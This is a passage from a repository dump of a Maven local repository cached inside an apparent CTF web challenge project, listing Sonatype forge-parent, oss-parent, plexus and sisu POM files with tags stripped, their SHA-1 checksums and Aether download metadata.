scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-10 forge-releases https://repository.sonatype.org/service/local/staging/deploy/maven2 forge-snapshots https://repository.sonatype.org/content/repositories/snapshots UTF-8 UTF-8 ${forgeReleaseId} ${forgeReleaseUrl} ${forgeSnapshotId} ${forgeSnapshotUrl} org.apache.maven.plugins maven-assembly-plugin 2.2.1 org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.5 1.5 org.apache.maven.plugins maven-dependency-plugin 2.2 org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-eclipse-plugin 2.8 org.apache.maven.plugins maven-enforcer-plugin 1.0 org.apache.maven.plugins maven-gpg-plugin 1.2 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-jar-plugin 2.3.1 org.apache.maven.plugins maven-javadoc-plugin 2.7 org.apache.maven.plugins maven-release-plugin 2.1 forked-path false deploy -Prelease org.apache.maven.plugins maven-remote-resources-plugin 1.2 org.apache.maven.plugins maven-resources-plugin 2.5 org.apache.maven.plugins maven-scm-plugin 1.4 org.apache.maven.plugins maven-site-plugin 2.2 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.8 true org.sonatype.plugins sisu-maven-plugin 1.0 org.codehaus.mojo animal-sniffer-maven-plugin 1.6 com.mycila.maven-license-plugin maven-license-plugin 1.9.0 org.codehaus.modello modello-maven-plugin 1.4.1 true org.apache.felix maven-bundle-plugin 2.3.4 org.codehaus.mojo cobertura-maven-plugin 2.4 org.codehaus.mojo findbugs-maven-plugin 2.3.1 UnreadFields org.apache.maven.plugins maven-jxr-plugin 2.2 org.apache.maven.plugins maven-project-info-reports-plugin 2.3.1 org.apache.maven.plugins maven-pmd-plugin 2.5 1.5 release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} true sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/10/forge-parent-10.pom.sha1 ================================================ c24dc843444f348100c19ebd51157e7a5f61bfe7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:40 CST 2018 forge-parent-3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/3/forge-parent-3.pom ================================================ 4.0.0 org.sonatype.forge forge-parent pom 3 Sonatype Forge Parent Pom 2008 http://forge.sonatype.com/ scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-3 http://svn.sonatype.org/forge/tags/forge-parent-3 scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-3 forge-releases http://repository.sonatype.org/content/repositories/releases forge-snapshots http://repository.sonatype.org/content/repositories/snapshots ${forgeReleaseId} ${forgeReleaseUrl} ${forgeSnapshotId} ${forgeSnapshotUrl} maven-enforcer-plugin 1.0-alpha-4-sonatype maven-eclipse-plugin 2.4 maven-surefire-plugin 2.3 maven-clean-plugin 2.2 maven-deploy-plugin 2.3 maven-dependency-plugin 2.0 maven-site-plugin 2.0-beta-6 maven-jar-plugin 2.1 maven-help-plugin 2.0.2 maven-resources-plugin 2.2 maven-install-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.5 1.5 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-1 org.codehaus.mojo cobertura-maven-plugin 2.0 org.codehaus.mojo findbugs-maven-plugin 1.1.1 UnreadFields maven-jxr-plugin 2.0 maven-pmd-plugin 2.3 1.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/3/forge-parent-3.pom.sha1 ================================================ fdc1f6eb65f750775acd57ff4371d5657ae2e6d3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:45 CST 2018 forge-parent-4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/4/forge-parent-4.pom ================================================ 4.0.0 org.sonatype.forge forge-parent pom 4 Sonatype Forge Parent Pom 2008 http://forge.sonatype.com/ scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-4 http://svn.sonatype.org/forge/tags/forge-parent-4 scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-4 forge-releases http://repository.sonatype.org/content/repositories/releases forge-snapshots http://repository.sonatype.org/content/repositories/snapshots ${forgeReleaseId} ${forgeReleaseUrl} ${forgeSnapshotId} ${forgeSnapshotUrl} maven-enforcer-plugin 1.0-alpha-4-sonatype maven-eclipse-plugin 2.4 maven-surefire-plugin 2.3 maven-clean-plugin 2.2 maven-deploy-plugin 2.3 maven-dependency-plugin 2.0 maven-site-plugin 2.0-beta-6 maven-jar-plugin 2.1 maven-help-plugin 2.0.2 maven-resources-plugin 2.2 maven-install-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.5 1.5 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-1 org.apache.maven.plugins maven-release-plugin 2.0-beta-8 false deploy -Prelease org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.codehaus.mojo cobertura-maven-plugin 2.0 org.codehaus.mojo findbugs-maven-plugin 1.1.1 UnreadFields maven-jxr-plugin 2.0 maven-pmd-plugin 2.3 1.5 release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/4/forge-parent-4.pom.sha1 ================================================ 564f266ea9323e57e246f0fca8f04f596663fb86 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:25 CST 2018 forge-parent-5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/5/forge-parent-5.pom ================================================ 4.0.0 org.sonatype.forge forge-parent pom 5 Sonatype Forge Parent Pom 2008 http://forge.sonatype.com/ scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-5 http://svn.sonatype.org/forge/tags/forge-parent-5 scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-5 forge-releases http://repository.sonatype.org:8081/service/local/staging/deploy/maven2 forge-snapshots http://repository.sonatype.org/content/repositories/snapshots ${forgeReleaseId} ${forgeReleaseUrl} ${forgeSnapshotId} ${forgeSnapshotUrl} maven-enforcer-plugin 1.0-beta-1 maven-eclipse-plugin 2.4 maven-surefire-plugin 2.4.3 maven-clean-plugin 2.2 maven-deploy-plugin 2.4 maven-dependency-plugin 2.0 maven-site-plugin 2.0-beta-7 maven-jar-plugin 2.2 maven-resources-plugin 2.3 maven-install-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.5 1.5 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-2 org.apache.maven.plugins maven-release-plugin 2.0-beta-8 false deploy -Prelease org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.codehaus.mojo cobertura-maven-plugin 2.0 org.codehaus.mojo findbugs-maven-plugin 1.1.1 UnreadFields maven-jxr-plugin 2.1 maven-project-info-reports-plugin 2.1.1 maven-pmd-plugin 2.4 1.5 release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/5/forge-parent-5.pom.sha1 ================================================ a557514263bbd4a6daef8f125ab80e78413292d3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:20 CST 2018 forge-parent-6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/6/forge-parent-6.pom ================================================ 4.0.0 org.sonatype.forge forge-parent pom 6 Sonatype Forge Parent Pom 2008 http://forge.sonatype.com/ scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-6 http://svn.sonatype.org/forge/tags/forge-parent-6 scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-6 forge-releases http://repository.sonatype.org:8081/service/local/staging/deploy/maven2 forge-snapshots http://repository.sonatype.org/content/repositories/snapshots ${forgeReleaseId} ${forgeReleaseUrl} ${forgeSnapshotId} ${forgeSnapshotUrl} org.apache.maven.plugins maven-enforcer-plugin 1.0-beta-1 org.apache.maven.plugins maven-eclipse-plugin 2.4 org.apache.maven.plugins maven-surefire-plugin 2.5 true org.apache.maven.plugins maven-clean-plugin 2.4 org.apache.maven.plugins maven-deploy-plugin 2.4 org.apache.maven.plugins maven-dependency-plugin 2.1 org.apache.maven.plugins maven-site-plugin 2.0-beta-7 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven.plugins maven-resources-plugin 2.3 org.apache.maven.plugins maven-remote-resources-plugin 1.1 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.5 1.5 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-3 org.apache.maven.plugins maven-release-plugin 2.0-beta-9 false deploy -Prelease org.apache.maven.plugins maven-gpg-plugin 1.0 org.apache.maven.plugins maven-scm-plugin 1.2 org.codehaus.mojo cobertura-maven-plugin 2.0 org.codehaus.mojo findbugs-maven-plugin 1.1.1 UnreadFields org.apache.maven.plugins maven-jxr-plugin 2.1 org.apache.maven.plugins maven-project-info-reports-plugin 2.1.1 org.apache.maven.plugins maven-pmd-plugin 2.4 1.5 release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/6/forge-parent-6.pom.sha1 ================================================ 8726e91194a5442e05472854652602a3b599f27d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/oss/oss-parent/3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:58 CST 2018 oss-parent-3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/oss/oss-parent/3/oss-parent-3.pom ================================================ 4.0.0 org.sonatype.oss oss-parent 3 pom Sonatype OSS Parent http://nexus.sonatype.org/oss-repository-hosting.html Sonatype helps open source projects to set up maven repositories on http://oss.sonatype.org. scm:svn:http://svn.sonatype.org/spice/tags/oss-parent-3 scm:svn:https://svn.sonatype.org/spice/tags/oss-parent-3 http://svn.sonatype.org/spice/tags/oss-parent-3 sonatype-nexus-snapshots Sonatype Nexus Snapshots http://oss.sonatype.org/content/repositories/snapshots false true sonatype-nexus-snapshots Sonatype Nexus Snapshots https://oss.sonatype.org/content/repositories/snapshots sonatype-nexus-staging Nexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ org.apache.maven.plugins maven-release-plugin 2.0 forked-path UTF-8 sonatype-release-profile performRelease true org.apache.maven.plugins maven-source-plugin 2.1.2 attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin 2.7 attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin 1.1 sign-artifacts verify sign ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/oss/oss-parent/3/oss-parent-3.pom.sha1 ================================================ 31e7e4502123f2f7b42b4e426146f9efc8e94110 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 plexus-build-api-0.0.4.jar>central= plexus-build-api-0.0.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/plexus-build-api-0.0.4.jar.sha1 ================================================ 8fdcf45c2fad3052a51385fdfc79753d9124a1a7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/plexus-build-api-0.0.4.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 10 org.sonatype.plexus plexus-build-api 0.0.4 org.codehaus.plexus plexus-utils 1.5.8 org.codehaus.plexus plexus-maven-plugin 1.3.4 descriptor org.apache.maven.plugins maven-compiler-plugin 1.4 1.4 org.apache.maven.plugins maven-surefire-plugin 2.4.2 true org.apache.maven.plugins maven-jar-plugin test-jar scm:svn:http://svn.sonatype.org/spice/tags/plexus-build-api-0.0.4 scm:svn:https://svn.sonatype.org/spice/tags/plexus-build-api-0.0.4 http://svn.sonatype.org/spice/tags/plexus-build-api-0.0.4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/plexus-build-api-0.0.4.pom.sha1 ================================================ df389a276b6c493bcea1937339b29145a7ce99bf ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-cipher-1.4.jar>central= plexus-cipher-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.jar.sha1 ================================================ 50ade46f23bb38cd984b4ec560c46223432aac38 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.pom ================================================ org.sonatype.spice spice-parent 12 4.0.0 org.sonatype.plexus plexus-cipher http://spice.sonatype.org/${project.artifactId} Plexus Cipher: encryption/decryption Component 1.4 sonatype.org-sites ${spiceSiteBaseUrl}/${project.artifactId} org.codehaus.plexus plexus-maven-plugin 1.3.5 descriptor maven-compiler-plugin 1.4 1.4 org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 provided junit junit 3.8.2 scm:svn:http://svn.sonatype.org/spice/tags/plexus-cipher-1.4 scm:svn:https://svn.sonatype.org/spice/tags/plexus-cipher-1.4 http://svn.sonatype.org/spice/tags/plexus-cipher-1.4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.pom.sha1 ================================================ 8c0bee97c1badb926611bf82358e392fedc07764 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-sec-dispatcher-1.3.jar>central= plexus-sec-dispatcher-1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.jar.sha1 ================================================ dedc02034fb8fcd7615d66593228cb71709134b4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.pom ================================================ org.sonatype.spice spice-parent 12 4.0.0 org.sonatype.plexus plexus-sec-dispatcher http://spice.sonatype.org/${project.artifactId} Plexus Security Dispatcher Component 1.3 sonatype.org-sites ${spiceSiteBaseUrl}/${project.artifactId} org.codehaus.plexus plexus-maven-plugin 1.3.5 descriptor maven-compiler-plugin 1.4 1.4 org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/settings-security.mdo standard java xpp3-reader xpp3-writer org.codehaus.plexus plexus-utils org.sonatype.plexus plexus-cipher 1.4 org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 provided junit junit 3.8.2 scm:svn:http://svn.sonatype.org/spice/tags/plexus-sec-dispatcher-1.3 scm:svn:https://svn.sonatype.org/spice/tags/plexus-sec-dispatcher-1.3 http://svn.sonatype.org/spice/tags/plexus-sec-dispatcher-1.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.pom.sha1 ================================================ b953c3a84a7d3f2a7f606e18c07ee38fb6766e3d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-bean/1.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:16 CST 2018 guice-bean-1.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-bean/1.4.2/guice-bean-1.4.2.pom ================================================ 4.0.0 org.sonatype.sisu sisu-inject 1.4.2 pom org.sonatype.sisu.inject guice-bean Guice - Bean guice-bean-reflect guice-bean-inject guice-bean-scanners guice-bean-converters guice-bean-locators guice-bean-binders guice-bean-containers sisu-inject-bean org.sonatype.sisu.inject guice-bean-reflect ${project.version} org.sonatype.sisu.inject guice-bean-inject ${project.version} org.sonatype.sisu.inject guice-bean-scanners ${project.version} org.sonatype.sisu.inject guice-bean-converters ${project.version} org.sonatype.sisu.inject guice-bean-locators ${project.version} org.sonatype.sisu.inject guice-bean-binders ${project.version} org.sonatype.sisu.inject guice-bean-containers ${project.version} org.sonatype.sisu sisu-inject-bean ${project.version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-bean/1.4.2/guice-bean-1.4.2.pom.sha1 ================================================ 11c2c29c95aa9c9d636ac349b33b49de1190deaf ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-plexus/1.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:16 CST 2018 guice-plexus-1.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-plexus/1.4.2/guice-plexus-1.4.2.pom ================================================ 4.0.0 ../guice-bean org.sonatype.sisu.inject guice-bean 1.4.2 pom guice-plexus Guice - Plexus guice-plexus-metadata guice-plexus-scanners guice-plexus-converters guice-plexus-locators guice-plexus-binders guice-plexus-shim sisu-inject-plexus org.codehaus.plexus plexus-component-annotations 1.5.4 org.codehaus.plexus plexus-classworlds 2.2.3 org.codehaus.plexus plexus-utils 2.0.5 org.sonatype.sisu.inject guice-plexus-metadata ${project.version} org.sonatype.sisu.inject guice-plexus-scanners ${project.version} org.sonatype.sisu.inject guice-plexus-converters ${project.version} org.sonatype.sisu.inject guice-plexus-locators ${project.version} org.sonatype.sisu.inject guice-plexus-binders ${project.version} org.sonatype.sisu.inject guice-plexus-shim ${project.version} org.sonatype.sisu.inject guice-plexus-tck ${project.version} org.sonatype.sisu sisu-inject-plexus ${project.version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-plexus/1.4.2/guice-plexus-1.4.2.pom.sha1 ================================================ 9b167556a64cb79acea3a8dbf6c2f580e2699d2b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 sisu-guice-2.1.7-noaop.jar>central= sisu-guice-2.1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7-noaop.jar.sha1 ================================================ 8cb56e976b8e0e7b23f2969c32bef7b830c6d6ed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7.pom ================================================ 4.0.0 org.sonatype.forge forge-parent 6 pom org.sonatype.sisu sisu-guice 2.1.7 Sisu - Guice Guice trunk with some patches applied for Sisu scm:git:git@github.com:sonatype/sisu-guice.git scm:git:git@github.com:sonatype/sisu-guice.git git@github.com:sonatype/sisu-guice.git The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo UTF-8 ${project.groupId}.${project.artifactId} ${project.build.directory} ${project.build.directory}/no_aop https://repository.sonatype.org/service/local/staging/deploy/maven2 javax.inject javax.inject 1 aopalliance aopalliance 1.0 asm asm 3.2 true org.slf4j slf4j-api 1.6.1 true junit junit 3.8.2 test org.apache.felix org.apache.felix.framework 3.0.2 test org.apache.maven.plugins maven-compiler-plugin 2.3.1 maven-antrun-plugin 1.4 org.codehaus.mojo build-helper-maven-plugin 1.5 maven-javadoc-plugin 2.7 maven-source-plugin 2.1.2 maven-surefire-plugin true maven-gpg-plugin 1.1 maven-release-plugin 2.0 maven-antrun-plugin compile compile run org.codehaus.mojo build-helper-maven-plugin attach-jars package attach-artifact ${build.dir}/dist/guice-${project.version}.jar ${noaop.dir}/dist/guice-${project.version}.jar noaop test !maven.test.skip maven-antrun-plugin test test run release maven-antrun-plugin sources package run org.codehaus.mojo build-helper-maven-plugin attach-sources package attach-artifact ${build.dir}/guice-${project.version}-src.jar sources ${build.dir}/guice-${project.version}-doc.jar javadoc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7.pom.sha1 ================================================ f690b118b2c3ca4cf400a558e6d000a971fd8d98 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject/1.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:17 CST 2018 sisu-inject-1.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject/1.4.2/sisu-inject-1.4.2.pom ================================================ 4.0.0 org.sonatype.sisu sisu-parent 1.4.2 pom sisu-inject Sisu - Dependency Injection guice-bean guice-plexus 2.1.7 org.sonatype.sisu sisu-guice ${sisu.guice.version} org.sonatype.sisu sisu-guice ${sisu.guice.version} noaop ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject/1.4.2/sisu-inject-1.4.2.pom.sha1 ================================================ 780340415a1dc940f10ae38a7b32e84db28c95dd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 sisu-inject-bean-1.4.2.jar>central= sisu-inject-bean-1.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.jar.sha1 ================================================ 5cf37202afbaae899d63dd51b46d173df650af1b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.pom ================================================ 4.0.0 org.sonatype.sisu.inject guice-bean 1.4.2 bundle org.sonatype.sisu sisu-inject-bean Sisu - Inject (JSR330 bean support) org.sonatype.sisu sisu-guice noaop javax.inject javax.inject aopalliance aopalliance org.sonatype.sisu.inject guice-bean-containers true org.apache.felix maven-bundle-plugin true org.sonatype.inject org.sonatype.guice.bean.containers.Activator org.slf4j,junit.framework org.sonatype.inject;-noimport:=true;-split-package:=merge-first;version=${project.version}, javax.*|org.aopalliance.*;version=1 org.sonatype.guice.*,org.objectweb.asm maven-shade-plugin package shade ${project.groupId}:${project.artifactId} org.objectweb org.sonatype.guice *:* org/objectweb/asm/*Adapter* org/objectweb/asm/*Writer* maven-jar-plugin org.sonatype.guice.bean.containers.Main release maven-dependency-plugin unpack-source prepare-package unpack-dependencies sources false ${project.build.directory}/sources javax/**,org/aopalliance/**,org/sonatype/inject/**,org/sonatype/guice/bean/** true org.codehaus.mojo build-helper-maven-plugin add-source prepare-package add-source ${project.build.directory}/sources ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.pom.sha1 ================================================ 8b8bd0a19ec8218bb04e27aca13658605c9d7588 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 sisu-inject-plexus-1.4.2.jar>central= sisu-inject-plexus-1.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.jar.sha1 ================================================ 53d863ed4879d4a43ad7aee7bc63f935cc513353 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.pom ================================================ 4.0.0 org.sonatype.sisu.inject guice-plexus 1.4.2 bundle org.sonatype.sisu sisu-inject-plexus Sisu - Inject (Plexus bean support) org.codehaus.plexus plexus-component-annotations org.codehaus.plexus plexus-classworlds org.codehaus.plexus plexus-utils org.sonatype.sisu sisu-inject-bean org.sonatype.sisu.inject guice-plexus-shim true org.apache.felix maven-bundle-plugin true sisu-inject-bean,*;groupId=org.codehaus.plexus org.sonatype.inject.plexus org.sonatype.inject org.codehaus.plexus.*;-noimport:=true;-split-package:=merge-first META-INF.plexus,org.sonatype.guice.*,org.objectweb.asm maven-shade-plugin package shade ${project.groupId}:${project.artifactId} org.objectweb org.sonatype.guice *:* META-INF/** org/codehaus/plexus/** org/sonatype/guice/plexus/** org/objectweb/asm/*Writer* release maven-dependency-plugin unpack-source prepare-package unpack-dependencies sources false ${project.build.directory}/sources org.codehaus.plexus org/codehaus/plexus/**,org/sonatype/guice/plexus/** true org.codehaus.mojo build-helper-maven-plugin add-source prepare-package add-source ${project.build.directory}/sources ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.pom.sha1 ================================================ 3e27a576e375175ba275f21692d99a386d879405 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-parent/1.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:18 CST 2018 sisu-parent-1.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-parent/1.4.2/sisu-parent-1.4.2.pom ================================================ 4.0.0 org.sonatype.forge forge-parent 6 pom org.sonatype.sisu sisu-parent 1.4.2 Sisu http://sisu.sonatype.org/ 2010 Sonatype, Inc. http://www.sonatype.com Sisu Developers List sisu-dev-subscribe@sonatype.org sisu-dev-unsubscribe@sonatype.org sisu-dev@sonatype.org Sisu Users List sisu-user-subscribe@sonatype.org sisu-user-unsubscribe@sonatype.org sisu-user@sonatype.org Sisu Commits List sisu-scm-subscribe@sonatype.org sisu-scm-unsubscribe@sonatype.org scm:git:git@github.com:sonatype/sisu.git scm:git:git@github.com:sonatype/sisu.git git@github.com:sonatype/sisu.git jira https://issues.sonatype.org/browse/SISU Hudson https://grid.sonatype.org/ci/job/Sisu/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo sisu-inject UTF-8 1.6.1 https://repository.sonatype.org/service/local/staging/deploy/maven2 org.slf4j slf4j-simple test junit junit test asm asm 3.2 javax.inject javax.inject 1 aopalliance aopalliance 1.0 org.slf4j slf4j-api ${slf4j.version} org.slf4j slf4j-simple ${slf4j.version} org.osgi org.osgi.core 4.2.0 org.osgi org.osgi.compendium 4.2.0 org.apache.felix org.apache.felix.framework 3.0.2 junit junit 3.8.2 org.apache.maven.plugins maven-compiler-plugin 2.3.1 org.apache.felix maven-bundle-plugin 2.1.0 J2SE-1.5,JavaSE-1.6 <_versionpolicy>[$(version;==;$(@)),$(version;+;$(@))) <_nouses>true <_removeheaders> Embed-Dependency,Embed-Transitive, Built-By,Tool,Created-By,Build-Jdk, Include-Resource,Private-Package, Ignore-Package,Bnd-LastModified maven-shade-plugin 1.4 maven-antrun-plugin 1.4 org.codehaus.mojo build-helper-maven-plugin 1.5 maven-javadoc-plugin 2.7 maven-source-plugin 2.1.2 maven-surefire-plugin true maven-gpg-plugin 1.1 maven-release-plugin 2.0 true examples sisu-examples ================================================ FILE: 